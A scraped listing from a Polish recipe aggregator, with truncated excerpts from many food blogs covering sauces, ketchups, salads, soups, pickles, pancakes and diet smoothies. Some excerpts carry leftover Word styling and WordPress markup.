zamian dodałam słodkie marchewki . Ketchup wychodzi przepyszny, bardzo gęsty, kremowy, aromatyczny ! Ma lekko słodki smak, z nutką kwaśności. Można go stosować nie tylko jako ketchup, ale także jako sos do makaronu czy ryżu, a nawet jako porcja kremowej zupy także dobrze się sprawdzi. Taki ketchup oprócz wielorakości zastosowania można zawekować i cieszyć się nim o każdej porze.  Składniki

Zdrowie na języku :P
ajvar paprykowy 200

kupiliśmy. Nie wiedziałam na co je przerobię i nagle pojawiły się wpisy paprykowe - bo więcej takich jak ja było.  Ten przepis przemówił do mnie tak samo jak sos paprykowy (który już jutro na blogu). Dlatego nie wiele myśląc zakupiłam słoiki - tak, tak zabrakło i trzeba mimo wszystko jeszcze dokupić - i Tehrmomix zabrał się do roboty, bo mojej

Gotowanie z pasją
Sałatka z arbuzem i fetą 209

Sałatka prawie śródziemnomorska, z fetą, oliwkami i arbuzem. Taka grecka po polsku. Smakuje latem i wakacjami. Sałatkę można polać sosem balsamicznym zamiast oliwą. Składniki: – 4 plastry arbuza – kawałek sera feta – kilka sztuk oliwek czarnych – sól, pieprz do smaku – 3 łyżki oliwy – kilka listków bazylii   Wykonanie: – Arbuza pokroić

To co kocham
Gotujemy wywar rybny w szybkowarze 287

Aromatyczny i uniwersalny wywar rybny to doskonała baza do zup rybnych, risotto, sosów czy też owoców morza. Po wyklarowaniu można go użyć do przygotowania fantastycznej galarety rybnej. Inne wywary mięsne, drobiowe i warzywne znajdziesz w dziale Wywary . Wywar rybny. Składniki 800 g ryby - kręgosłupy z kawałkami mięsa, z płetwami, ja użyłam 3 z sandacza i 1 z łososia

Szybko Szybkowar
Chrupiące fit frytki z fasolki szparagowej 344

prosiliście na moim instagramie :) Czego możesz użyć jako panierki zmielonych płatków owsianych pokruszonych płatków kukurydzianych sezamu domowej bułki tartej  panierki "panko" Będziesz potrzebować dwie duże porcje podawać z sosem jogurtowym fasolka szparagowa - 400 g jajko - 1 szt parmezan - ok 50 g bułka tarta/płatki owsiane/płatki kukurydziane - ok 150 g/ 1,5 szk sól - wg uznania Etap I - Fasolka

Wylizany Rondel
Cukinia w zalewie curry 326

koniec sierpnia i może długo leżakować zanim ją przerobimy czyli do pełnej i pięknej jesieni.  Z cukinii możemy przygotować mnóstwo przepysznych rozmaitości. M.in.sałatki, pikle, dżemy, keczupy, sosy a nawet ciasta. To warzywo to jeden z cenniejszych darów lata ;) Składniki: 3 kg cukini zalewa: 1 szklanka octu 5 szklanek wody 3 łyżeczki curry 3 łyżeczki gorczycy pieprz czarny ziarnisty

Życie zaczyna się w kuchni
Sałatka ziemniaczana z bobem i miętą 208

naprawdę bardzo je lubię, szczególnie do mięsa pieczonego na grillu. Kiedy więc jechaliśmy do przyjaciół na grillowe spotkanie taką właśnie sałatkę przygotowałam. Ziemniaki i bób, w towarzystwie chrupiącej cebulki, sosu jogurtowego i zieleniny to pyszne danie. Ale możecie je przygotować nawet bez perspektyw na grilla bo zawsze będzie dobrze smakować. Taka sałatka jest pożywna i bardzo smaczna. Jestem pewna

Smaczna Pyza
AJVAR - pasta z Bałkanów 158

przygotowuje się jej 640 ton rocznie! No to znaczy tylko jedno, musisz ją zrobić w domu! Pastę możecie wykorzystywać na wiele sposobów, jako pasta do chleba, placuszków, naleśników, jako sos do pizzy, nadzienie do tart wytrawnych, dodatek do mięs itp. Podstawą dobrego ajvaru jest słodka pieczona papryka i bakłażany.  Potrzebujesz około 4 duże słodkie papryki, 1 bakłażana, 4 ząbki

SMYKWKUCHNI
Makaron rigatoni zapiekany w sosie pomidorowym 182

dodajemy pokrojonego w kostkę kurczaka, całość smażmy około 5 minut. Dodajemy pasatę, doprawiamy oregano, pieprzem, ostrą papryką i solą. Śmietanę i mąkę rozrabiamy w 1/2 szklanki wody, dodajemy do sosu. Całość gotujemy jeszcze przez kolejne 5 minut. Dodajemy makaron, dokładnie mieszamy i przekładamy do naczynia żaroodpornego, zapiekamy 30 - 40 minut w 180 stopniach

Delusional Trine
Parówki po diabelsku 327

się z tym że wielu osobą nie przypadnie do gustu z powodu parówek jednak mimo wszystko ja jestem ich fanką więc zaproponuję dziś parówki na troszkę inny sposób w sosie z keczupu Jamar . Czytaj więcej

Pychotkaaa
Cukinia faszerowana kuskusem z suszonymi pomidorami 181

iziołami. Danie szybkie w przygotowaniu i bardzo syte, do tego naprawdę apetycznie prezentuję się na talerzu. Ci ciekawe, doskonale smakuje na ciepło i na zimno. Faszerowaną cukinię podałam z sosem jogurtowym, do którego dodałam czosnek, wędzoną i ostrą paprykę. Polecam wszystkim miłośnikom cukinii! Cukinia faszerowana kuskusem z suszonymi pomidorami / 2 porcje Składniki: 1 średnia, gruba cukinia 100 g kaszy kuskus

Moja smaczna kuchnia
Penne z kaniami w sosie śmietanowym 159

przykryciem 20-25 min. Następnie dodajemy śmietanę, dokładnie łączymy, wrzucamy lubczyk, do smaku doprawiamy solą i pieprzem. Redukujemy do ulubionej konsystencji (na wolnym ogniu, nie dopuszczając do wrzenia). Do sosu wrzucamy makaron, dokładnie łączymy. Podajemy od razu po przygotowaniu. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Pikle z cukinii po belgijsku 271

smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Belgowie kochają kanapki , a w nich pikle i inne dodatki , takie jak pasztety , sosy majonezowe , pieczenie itp . Te pikle ,są naprawdę doskonałe , choć narodową potrawą z całą pewnością nie są , jest to raczej lokalny wyrób , a dokładniej patent turka , który prowadzi kebabownię , jakich wiele

Ogrodnik w podróży
PLACKI ZIEMNIACZANE 297

pełne smaku placki ziemniaczane. Z dodatkiem cebulki, czosnku i pieprzu ziołowego. Idealne na szybki obiad po pracy. Najlepiej smakują z kwaśną śmietaną lub jogurtem naturalnym. Pyszne także z sosem pieczarkowym lub gulaszem. SKŁADNIKI / 24 sztuki 1 kg ziemniaków 1 cebula 1 ząbek czosnku 2 jajka 2-3 łyżki mąki  przyprawy: sól, świeżo zmielony czarny pieprz, 1/2 łyżeczki pieprzu ziołowego

cool and minty
Odchudzający koktajl z banana i pietruszki wg Ewy Chodakowskiej 2826

awokado wg Ewy Chodakowskiej Fit budyń jaglany z bananem i brzoskwiniami Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Dietetyczny kurczak z cukinią i brokułami The post Odchudzający koktajl z banana i pietruszki wg Ewy Chodakowskiej appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Cinnamons rolls z sosem śmietanowo - waniliowym. 190

Witajcie :) Zapraszam dzisiaj na pyszne cynamonowe bułeczki ślimaczki.Wystarczy kilka składników i macie pyszne bułeczki na śniadanie lub do kawki, polane sosem śmietanowo-waniliowym smakują wyśmienicie. Zapraszam do wypróbowania :) SKŁADNIKI : około 560 g mąki pszennej typ 550 1 szklanka  ciepłego mleka 25 g drożdży 60 g cukru 1 cukier waniliowy 75 g oleju 2 jajka 3 łyżki mięciutkiego masła

Sama słodycz i szczypta chili
domowe kluski śląskie z buraczkami i gulaszem 249

składniki: ok. 500 g ziemniaków 1 jajko mąka ziemniaczana sól do podanie: buraczki z jabłuszkiem Jamar np. gulasz, sos grzybowy wykonanie: Ziemniaki obieramy, gotujemy w lekko osolonej wodzie. Odcedzamy, ubijamy tłuczkiem do ziemniaków. Wyrównujemy powierzchnię. Odstawiamy do przestudzenia. Następnie dzielimy na 4 części. Jedną część wykładamy, puste miejsce uzupełniamy mąką ziemniaczaną. Następnie dodajemy wyciągniętą część, dodajemy jajko, doprawiamy solą. Dokładnie

Domowy Smak Jedzenia
Wakacyjnie. I lody malinowe z ricotty 228

jednak zerknęłam na stronę Half baked harvest i zobaczyłam oryginalny przepis wiedziałam, że te miodowe ciasteczka są strzałem w dziesiątkę. Zmiksowałam więc oba pomysły, dodałam i ciasteczka, i sos malinowy, i wyszły mi lody, którymi zajadali się wszyscy. Są kremowe, sernikowe, owocowe i orzeźwiające. Po prostu idealne - teraz już na pożegnanie lata... Lody malinowe z ricotty z miodowymi ciasteczkami Składniki

Pożeraczka, czyli raz adobrze
Pikantna zupa krem z kalafiora 254

mrożonego kalafiora  Poltino ( 400 g ) 1 litr bulionu lub rosołu drobiowego lub warzywnego 1 cebula 1 ząbek czosnku 3 łyżki oliwy z oliwek 2 łyżki pikantnej pasty lub sosu paprykowego 1/2 łyżeczki ziaren kolendry 1/3 łyżeczki kminku lub kuminu 1/4 łyżeczki mielonego imbiru sól Dodatkowo: płatki migdałowe Przygotowanie zupy 1. W garnku rozgrzać oliwę z oliwek. Na rozgrzanym tłuszczu

kolorowotorcikowo
Pierś z kurczaka z warzywami 202

poprostu te-które (tak jak mi) zalegają w lodówce, a ich czas wykorzystania nieubłaganie mija:D SKŁADNIKI:marynata Podwójna pierś z kurczaka (pokrojona w większą kostkę) 3 łyżki sosu sojowego 2 łyżeczki papryki słodkiej 1 łyżeczka czosnku granulowanego Szczypta soli 2 łyżeczki oliwy z oliwek Kurczaka łączymy że wszystkimi przyprawami, dokładnie mieszamy i odstawiamy do lodówki na minimum godzinę. SKŁADNIKI

Mamuśka wraca do formy
Makaron w sosie brzoskwiniowym 203

skóry i pogniecione widelcem banany. Całość podgrzewać do momentu, aż śmietana zrobi się gęsta.  Makaron ugotować według instrukcji na opakowaniu al dente, odcedzić z wody i przełożyć do sosu brzoskwiniowego. Całość wymieszać podgrzewając chwilę. Podawać od razu udekorowane plasterkami brzoskwini i liśćmi mięty

Passions hobbies life
Kotlety z mięsa gotowanego 196

rosołu. Z dodatkiem kiszonego ogórka są wilgotne w środku i bardzo smaczne. Może i Wy skusicie się na kotlety mielone w trochę innej odsłonie. Można podawać ze swoim ulubionym sosem. Ja podałam z ketchupem, ziemniakami i sałatką z pomidorów. Prawda, że pyszny obiad? Składniki: 2 gotowane udka 1 pojedyńcza pierś z kurczaka 300 g gotowanej wołowiny 4-5 ogórków kiszonych

O kuchni z uczuciem
Gołąbki tradycyjne – przepis mojej mamy 520

koniec gotowania dodaję koncentrat pomidorowy, gotuję jeszcze kilka minut. Gd podaję gołąbki odlewam sobie wywar warzywny z koncentratem i zagęszcza go śmietaną mąką i wodą wymieszanymi w kubeczku. Powstanie sos. Uwielbiam te gołąbki. Prosty, wspaniały przepis. Artykuł Gołąbki tradycyjne – przepis mojej mamy pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
NALEŚNIKI CURRY 205

Pyszne naleśniki o smaku Curry to idealna propozycja wytrawych naleśników .  Naleśniki można faszerować dowolnymi słonymi nadzieniami.  Idealnie smakują również z domowymi sosami np. czosnkowym czy ostrym.  Składniki na 8 sztuk: 1.5 szklanki wody mineralnej lekko gazowanej 1. 5 szklanki mleka 2 łyżki oleju rzepakowego 2 jajka 2 szklanki mąki Sól i pieprz do smaku 2 łyżki curry

Gotowanie Patki
Kurczak w sosie estragonowym 145

sól i pieprz. Zagotowałem na dużym ogniu, zmniejszyłem płomień i dusiłem 20 minut. Posiekany estragon wsypałem do potrawy i dusiłem 10 minut. Wyjąłem kurczaka, trzymałem go w cieple. Zredukowałem sos do połowy objętości. Doprawiłem solą, pieprzem, dodałem śmietanę

R'n'G Kitchen
Frytki z cukinii - dietetyczne z piekarnika 172

cukiniowy. Zbieramy ostatnie cukiniowe plony. Frytki robię już n-ty raz z rzędu i nie możemy się nimi najeść. Upieczone w piekarniku z dodatkiem pachnącego oregano podane z ulubionym sosem (u mnie jogurtowy z czosnkiem) są świetną przekąską lub dodatkiem do każdego dania mięsnego, rybnego, czy wegetariańskiego. Zdrowe frytki to nie abstrakcja, zapraszam zatem do przepisu na genialne frytki

Gotuj zdrowo!Guten Appetit!
KRÓWKOWY BUDYŃ JAGLANY 175

można wyjadać go łyżeczką prosto ze słoiczka. Choć ja nie przepada za słodkim, nie mogłam mu się oprzeć. A krówki pod wpływem ciepłego budyniu zaczęły się lekko roztapiać, tworząc sos krówkowy. Niebo w gębie! Idealna propozycja na słodkie śniadanie lub deser. Składniki: 1/2 szklanki kaszy jaglanej 2- 2 i 1/2 mleka kokosowego 4-5 łyżeczek kremu Super Krówka o dowolnym

Kuchnia MagdaLeny
Keczup z cukinii i ostrej papryki 199

Łatwe Tanie Przepis na rewelacyjny ketchup z cukinii, który idealnie sprawdzi się jako dip, sos do pizzy czy dodatek do różnego rodzaju dań. Składniki 1 duża cukinia 2 średnie cebule 1 średni słoiczek koncentratu pomidorowego 1-2 małe papryczki pepperoni – w zależności jaką ostrość chcemy uzyskać 1 łyżeczka papryki słodkiej mielonej 2 łyżki […] Artykuł Keczup z cukinii

PysiaGotuje.pl
Zupa krem z pomidorów i papryki 393

kasz, makaronów, czy ryżu. Same plusy! Dlatego chciałabym pokazać Wam kolejny wspaniały przepis na jedną z moich ulubionych zup-krem. Osobiście, za świeżymi pomidorami nie przepadam, ale zupy i sosy z ich dodatkiem wcinam jak szalona. Może wydawać się to dosyć dziwne, ale uwierzcie – mam wielu znajomych, którzy mają dokładnie tak samo! Do tej zupki potrzebujemy prawie tylko pomidorów

Be Fit Be Strong
Kluski leniwe z sosem malinowym. 179

maliny, świeże i pachnące. Kluski, łatwe i szybkie w wykonaniu, nie trzeba nawet sobie brudzić rąk. 200 g twarogu półtłustego jajko łyżka cukru waniliowego 2 - 3 łyżki mąki ziemniaczanej Sos: szklanka malin miód do smaku Twaróg wkładamy do miski, wbijamy jajko i rozgniatamy widelcem. Gdy masa stanie się jednolita dodajemy mąkę, jej ilość zależy od tego jak wodnisty jest twaróg

Dieta moja pasja
Cytrynowy makaron na ostro do pracy – lunch do pracy 201

rozgrzewamy patelnię wlewamy na nią olej, podgrzewamy i wrzucamy nasze pokrojone wcześniej składniki wraz z papryczką. Całość podsmażamy po chwili dodajemy dwie łyżki wody spod makaronu, zrobi nam się sos. Gdy makaron się ugotuje przekładamy go na patelnie, jeśli trzeba dolewamy jeszcze trochę wody spod makaronu, całość mieszamy doprawiamy solą, pieprzem, przekładamy do pudełka które zabierzemy do pracy i gotowe

Kuchnia na wzgórzu
PLACKI Z CUKINII BEZ MĄKI (keto, LCHF, plaeo, optymalne, bez glutenu, mąki i laktozy) 470

czyli placki które z powodzeniem zastępują nam tradycyjne placki ziemniaczane. Na ogół podaję je na obiad z gulaszem węgierskim albo jako kolację lub przystawkę podczas spotkań z różnego rodzaju sosami np. z dipem czosnkowym i dużą ilością koperku Składniki na ok 10 sztuk: 600 g startej cukinii 100 g cebuli 1 duży ząbek czosnku 3 jajka 100 g tłuszczu

Ola la LCHF
Gęsty przecier pomidorowy. 154

ęsty przecier pomidorowy jest doskonały do zupy pomidorowej, sosów, fasoli po bretońsku i innych potraw. Jest trochę pracochłonny, ale jego smak i aromat wynagrodzi nam pracę przy nim. A co najważniejsze jest zdrowszy niż ten kupiony w sklepach. Zapraszam po przepis : Składniki : 3 kg mięsistych pomidorów ( np. Lima ) 3 łyżki soli ( najlepiej nie jodowanej ) Sposób wykonania :   P omidory opłucz

Przepisy i porady kulinarne
Naturalna bulionetka warzywna 534

Bulionetka to przyprawa do zup i sosów, ale przygotowana w domowy sposób, bez chemii. Jeżeli ktoś używa kostek rosołowych, proponuję przygotować taki naturalny i o wiele zdrowszy zamiennik. Szczególnie polecam zrobić zapas w okresie letnim, kiedy warzywa są najlepsze. 1 kg marchewki 400 g korzenia pietruszki 1 seler korzeniowy ( ok 200 g) 2 cebule (ok 200 g) 1 mały

https:KKuchniaMniam
Łatwe przepisy na dania z ryb? Dania rybne dla początkujących 187

cytryny i oliwą z oliwek. Wstaw do nagrzanego piekarnika (temp. 220oC) i piecz przez 3-5 minut. Z tak przyrządzoną rybą świetnie komponują się pieczone ziemniaki i sałatka z sosem vinegrette. Jeżeli uważasz, że nie jesteś gotowy na samodzielne przyrządzanie dań rybnych, zawsze możesz je zamówić – restauracje w Gdyni dają taką możliwość . Wystarczy złożyć zamówienie online, by zainspirować się wyjątkowym

Moja smaczna kuchnia
Koktajl hamujący apetyt – do zrobienia w 5 minut! 70648

awokado wg Ewy Chodakowskiej Fit budyń jaglany z bananem i brzoskwiniami Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Dietetyczny kurczak z cukinią i brokułami The post Koktajl hamujący apetyt – do zrobienia w 5 minut! appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Rolady z mięsa mielonego - wołowego. 989

ziołami (u mnie bazylia, oregano, czosnek, papryka ostra mielona), dodajemy 1/2 kostki pieczeniowej i dusimy pod przykryciem około 30 minut (w między czasie obracamy rolady). W razie potrzeby zagęścić sos mąką. Podajemy z kluskami, ziemniakami lub ryżem. Smacznego

Moje-pitraszenie
Prosta sałatka ziemniaczana 470

solą i pieprzem. Prawda, że proste? Sałatce dobrze zrobi 30 minut w chłodnym miejscu, żeby smaki się połączyły. Jeśli macie świeżo ugotowane ziemniaki i fasolę, to dobrze jest wymieszać sos z jeszcze ciepłymi warzywami. Możecie dodać świeżą lub konserwową paprykę, czerwoną cebulę. Podany przepis niech będzie szkieletem, a was niech ponosi fantazja kulinarna! Dajcie znać, co wyszło i pochwalcie się

ladykitchen
Zielone gazpacho z koprem 221

odciąć nasiona - można nożyczkami. Papryki, pomidor, czosnek, cebulę, ogórki i nasiona kopru wrzucić do blendera lub malaksera i zmiksować na gładką masę. Doprawić do smaku solą, pieprzem, ewentualnie łyżką sosu chimichurri i octem. Wstawić na noc do lodówki, aby smaki dobrze się przegryzły. Następnego dnia przetrzeć przez sito, doprawić raz jeszcze, mocno schłodzić przed podaniem. Krewetki, całkowicie obrane, obsmażyć

Stare Gary
Jeżynowe pierogi z serem 261

ścierczce lub na blacie/ desce podsypanej mąką. Gotować w dużej ilości osolonej wody prze kilka minut od wypłynięcia pierogów na powierzchnię wody wyjmować łyżką cedzakową. Podawać gorące z sosem jogurtowym

Gotuj zdrowo!Guten Appetit!
Mus jabłkowy 144

jabłkowy to nie tylko naturalny i najzdrowszy deserek dla niemowląt Ja przyrządzam go regularnie i wykorzystuję dla całej rodziny. Dzieci zajadają się gotowanym makaronem polanym tym sosem w alternatywie do domowego dżemu . A wszyscy domownicy cieszą się różnymi wypiekami, które zagęszczam i dosładzam tym musem. Jednym słowem z kilku jabłek mamy wiele zastosowań! Polecam Składniki: 2 duże jabłka (około

Lamarida.pl
CZEKOLADOWE ZABAGLIONE ZE ŚLIWOWICĄ 179

prawda daleko nam do tych rytuałów, posiłków w gronie rodzinnym, które stanowią kwintesencję każdego kolejnego dnia, jednak kulinarnie w miarę pasujemy do siebie.    Sycące makarony, wyraziste sosy, mnóssssstwo pomidorów i... słodycze. No bo kto ich nie lubi? A łasuchy Polacy i Włosi w szczególności.    Włoskie knajpki wyrastają jak grzyby po deszczu, pomijam oczywiście pizzerie, ale przyznacie

W kuchni Karmel-itki
LODY Z ORZECHÓW LASKOWYCH! BEZ MASZYNY! 175

konsystencji. Dodaj cukier puder. W misie blendera umieść serek i masło, zmiksuj na gładką masę. Do naczynia przelej masę z miksera i dodaj ubitą śmietanę, połącz masy delikatnie. Dodaj sosy i delikatnie wmieszaj, tak aby powstały piękne kolorowe smugi. Lody mrozimy 4 godziny, po tym czasie są gotowe do zjedzenia. Jeśli nie zjecie ich w domu na raz w całości

SMYKWKUCHNI
Pieczarki smażone 201

podaję do placków ziemniaczanych, do makaronów, do zapiekanek, jako dodatek do ziemniaków z mięsem. Pieczarki smażone to baza do kolejnych dań, wystarczy wlać śmietanę i mamy pyszne pieczarki w sosie, albo dodać bulion i mamy zupę pieczarkową. Pieczarki idealnie się nadają do eksperymentowania w kuchni. Przepis na pieczarki smażone, składniki: 500 g pieczarek 2 duże cebule ze szczypiorem 2 łyżki

Damsko-męskie spojrzenie na kuchnię
Budyń jaglany z bananem i brzoskwiniami 2889

mega zdrowy! Odchudzający koktajl z buraka i awokado wg Ewy Chodakowskiej Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Dietetyczny kurczak z cukinią i brokułami The post Budyń jaglany z bananem i brzoskwiniami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Makaron z sosem pomidorowym, kaparami, papryką i wstążkami marchewki 153

Prosty przepis na pyszny makaron. Podstawą jej sos pomidorowy, do którego dodajemy słono-kwaśne kapary, słodką paprykę i marchewkę pociętą w wstążki. Warzywa zostają lekko twarde i chrupiące a przez to danie jest świeże i delikatne. W sam raz na sezon letni gdy mamy świeże papryki i marchewki, ale można też zrobić je jesienią lub zimą. Będzie niestety mniej słodsze

Milion Smaków
Kurczak z cukinią i brokułem w sosie z masła orzechowego 172

różyczki. Warzywa wrzucam na patelnię i smażę z pozostałymi składnikami. Wlewam bulion i gotuję całość 5-6 minut. Dodaję masło orzechowe oraz śmietanę i całość dokładnie mieszam. Tak przygotowany sos podaję z warzywami ugotowanymi na parze lub ryżem.  Smacznego, Klaudia

Mango Papaja
Naleśniki z suszonymi pomidorami, fetą i szpinakiem 255

Naleśniki z farszem z suszonych pomidorów, szpinaku, pieczarek, fety i sera żółtego. Polecam podawać z sosem czosnkowym. Z przepisu wychodzą 4 porcje. Szpinak rozmrozić i odcisnąć z nadmiaru wody. Pieczarki

Bullio
ZAPIEKANY WARKOCZ Z CIASTA FRANCUSKIEGO Z SEREM I WARZYWAMI 331

Ciasto francuskie wypełnione farszem serowym z warzywami jest świetnym pomysłem zarowno na obiad, jak i kolacje na ciepło. Sprawdzi się rownież jako imprezowa przekąska! Ps. fajnym dodatkiem jak np. sos czosnkowy. SKŁADNIKI : * ciasto francuskie – 1 op / 300 g * ser żółty – ok. 250 g * papryka czerwona – 1 szt * kukurydza – ok. 100 * sól, pieprz, papryka ostra * jajko

Ostra na Słodko
Odchudzający koktajl z buraka i awokado wg Ewy Chodakowskiej 4453

Koktajl z jarmużu, banana i jabłka – odchudzający i mega zdrowy! Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Dietetyczny kurczak z cukinią i brokułami The post Odchudzający koktajl z buraka i awokado wg Ewy Chodakowskiej appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Jest chleb będzie żarcie-chlebki z ciecierzycą 192

Mój dzień w kuchni zazwyczaj zaczyna się od wypieku chleba. Często przyrządzam ostre sosy i pasty , do których idealnie nadają się chlebki podpłomyki . Pieczywo z orientalnym touch jest bardzo aromatyczne. Placki można piec małe lub duże. Zazwyczaj moi goście muszą trochę popracować i odrywają chlebek upieczony w wersji large…Dzisiaj jednak upiekłam mniejsze chlebki ale na tyle duże

codojedzenia
Ziemniaki grillowane w boczku 458

Aromatyczne, w chrupiącej otoczce, z mięciutkim wnętrzem. Takie są te pieczone na ruszcie ziemniaczki. Można je jeść tylko z dodatkiem jakiegoś sosu i sałatki. Mogą też być dodatkiem do pieczonej karkówki . Prosty sposób na smacznego ziemniaka z grilla. Lubicie grillować , prawda? Ja też i bardzo smakują mi potrawy pachnące dymem. Coś tam czytałam, że to niezbyt zdrowe

Smaczna Pyza
koncentrat pomidorowy 155

chcemy żeby zgęstniał jeszcze dogotowujemy - czas zależy od nas, ale 15 min chyba będzie wystarczający :)  w związku z tym, że właścicielka tych rączek uwielbia pomidorową i makaron w sosie pomidorowym - mogę w kuchni siedzieć długo byleby mieć zapas na zimę :)  Smacznego

Gotowanie z pasją
Idealne ciasto na pizzę 218

wyrośnięcia. Gotowego ciasta nie wałkujemy , ale rozciągamy dłońmi na boki, powinno mieć grubość około 3 do 4 milimetrów. formujemy okrągły placek i nakłuwamy go wykałaczką. Gotowy placek smaruję sosem do pizzy, posypuję żółtym serem, układam ulubione dodatki (zazwyczaj, te które były w lodówce) i ewentualnie posypuję drugą warstwą żółtego sera. Pizzę układam na blasze i piekę w piekarniku nagrzanym

Kulinaria - potrawy z różnych stron świata
Sałatka pomidorowa. Z czosnkowo – imbirowym dressingiem. 162

pomocą praski do czosnku wyciśniejcie czosnek i imbir. Odstawcie dressing na jakieś 20 -30 minut. W tym czasie pokrójcie pomidory i ułóżcie na talerzu. Polejcie czosnkowo – imbirowym sosem

Szybko Tanio Smacznie
Surówka z czerwonej kapusty z sosem chrzanowym 233

odstawiamy na 15 minut aby zmiękła.  Cebulę kroimy w drobną kostkę, jabłka ścieramy na dużych oczkach tarki i dodajemy do kapusty. Majonez łączymy z jogurtem i chrzanem. Sos dodajemy do surówki i wszystko ze sobą dokładnie mieszamy

Qchnia po prostu
Śródziemnomorska sałatka ziemniaczana (Insalata di patate mediterranea) 222

talerzu lub w salaterce. Ziemniaki posypujemy pokruszonym serem feta, oliwkami pokrojonymi na połówki, kaparami, plasterkami czerwonej cebuli oraz drobno pokrojonymi suszonymi pomidorami.  Przed podaniem sałatkę polewamy sosem. **** PREPARAZIONE Per preparare l'insalata iniziate lavando bene le patate. Lessate le patate con la buccia in acqua salata per circa 20-25 minuti. Una volta cotte, scolatele e lasciatele intiepidire

La grande e la piccola cuoca
Kolacja warzywno-białkowa w 2 minuty 287

kawałkiem cebuli dzięki czemu oszczędzamy na myciu widelca. Jak komuś nie będzie szło mieszanie cebulką to znaczy, że źle pokroił cebulę. Należy wtedy pójść po łyżeczkę którą nakładaliśmy składniki sosu i pomieszać. Następnym razem sugeruje ukroić grubsze plastry cebuli... zaoszczędzimy na nogach biegając do kuchni. A jak ktoś tak bardzo lubi biegać to zapraszam do wspólnych treningów w lesie

Dieta Rozdzielna i Zdrowie
GRILLOWANY SER BRIE W SZYNCE PARMEŃSKIEJ FASZEROWANY PIECZARKAMI 196

odcinamy bok sera. Odkładamy na bok. Środek wydrążamy za pomocą łyżeczki. Wydrążony ser możemy zjeść, zostawić do sałatki, lub rozpuścić na patelni, dodać ulubione zioła i przygotować sos np do tego faszerowanego camemberta.  * Pieczarki kroimy w kosteczkę, dodajemy cebulkę drobno posiekaną. Szklimy. Doprawiamy do smaku solą i pieprzem. Tak przygotowany farsz wkładamy do sera, uciskamy łyżeczką, przykrywamy odłożonym plastrem

Z Majeczką w kuchni
Wegańska sałatka warzywna z tofu i ciecierzycą, Boski porządek 256

Można użyć dowolnych warzyw, u mnie były: 1 duża czerwona papryka, ½ puszki kukurydzy, 5 pomidorów, 4 ogórki kiszone, 1 duża czerwona cebula, 4 miechunki pomidorowe, 1 szklanka czarnych oliwek. Sos: 1/3 szklanki oliwy + odrobina soku z cytryny lub octu winnego + sól + pieprz + drobno posiekana natka pietruszki. Boski porządek  (2017, Petra Volpe): Nora mieszka w spokojnej, szwajcarskiej wiosce

Qlinarnie i Qlinarnie
Pieczone warzywa z sosem majonezowym i olejem z pestek dyni 169

danie na które trafiłem w restauracji podczas Restaurant Week. Proste, w sumie to tylko upieczone warzywa, ale z dodatkiem sosu majonezowego i oliwy z pestek dyni (w oryginale były inne, ale nie pamiętam jakie) staje się czymś wyjątkowym. Dorzućmy jeszcze kilka kaparów i gotowe

Milion Smaków
Burgery z ciecierzycy z serem halloumi i relishem z ananasa 185

Smaż krótką chwilę. Następnie dodaj drobno posiekaną papryczkę chili i ananasa. Zalej octem ryżowym, wsyp cukier oraz sól. Gotuj powoli na małym ogniu, aż ananas stanie się miękki a sos zgęstnieje. Na koniec dopraw do smaku (ja dolewam jeszcze odrobinę octu). Odstaw do wystudzenia. Przygotowanie burgerów Bułki owsiane przypiecz na grillu, aż staną się chrupiące. Na spód połóż listek sałaty

Food Square
Sajgonki z quinoą, pieczarkami i Pasztetem Dworskim z królikiem 217

sajgonki smażymy w bardzo dobrze rozgrzanym głębokim tłuszczu, aż będą zrumienione i chrupiące, wyciągamy na sitko wyłożone papierowym ręcznikie, abo odsączyć je z nadmiaru tłuszczu. Można je podać z sosem sojowym, albo przygotować do nich swój ulubiony dip.  Smacznego i udanych, aktywnych wakacji

Quinoa Raz!
Sałatka z krewetkami 138

kroimy na pół, usuwamy pestkę, przy pomocy łyżki wydrążamy miąższ, cienko kroimy na plasterki. Śmietanę, majonez, ketchup i tabasco dokładnie mieszamy. Na talerzach układamy sałatę, awokado, krewetki i polewamy sosem. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Zapiekanka makaronowa z pieczarkami i kurczakiem 532

Uwielbiam zapiekanki, bo można w nich wykorzystać właściwie wszystko, co mamy akurat w lodówce 😉 Przedstawiam przepis na zapiekankę makaronową z kurczakiem, szpinakiem, kukurydzą i pieczarkami. Całość zalana sosem beszamelowym

Bullio
Makaron z kurczakiem i zielonym groszkiem 261

macie pomysłu na obiad to polecamy Wam makaron z kurczakiem i zielonym groszkiem. Smaczne i lekko słodkawe danie za sprawą groszku w delikatnym sosie śmietanowo-pomidorowym :) Składniki na makaron z kurczakiem: – 1 pierś z kurczaka ok. 300 g – 150 g zielonego groszku – 1 pomidor ok. 170 g – 2 łodygi selera

Kuchenne Wariacje
GRYCZANE PLACKI Z TUŃCZYKIEM 264

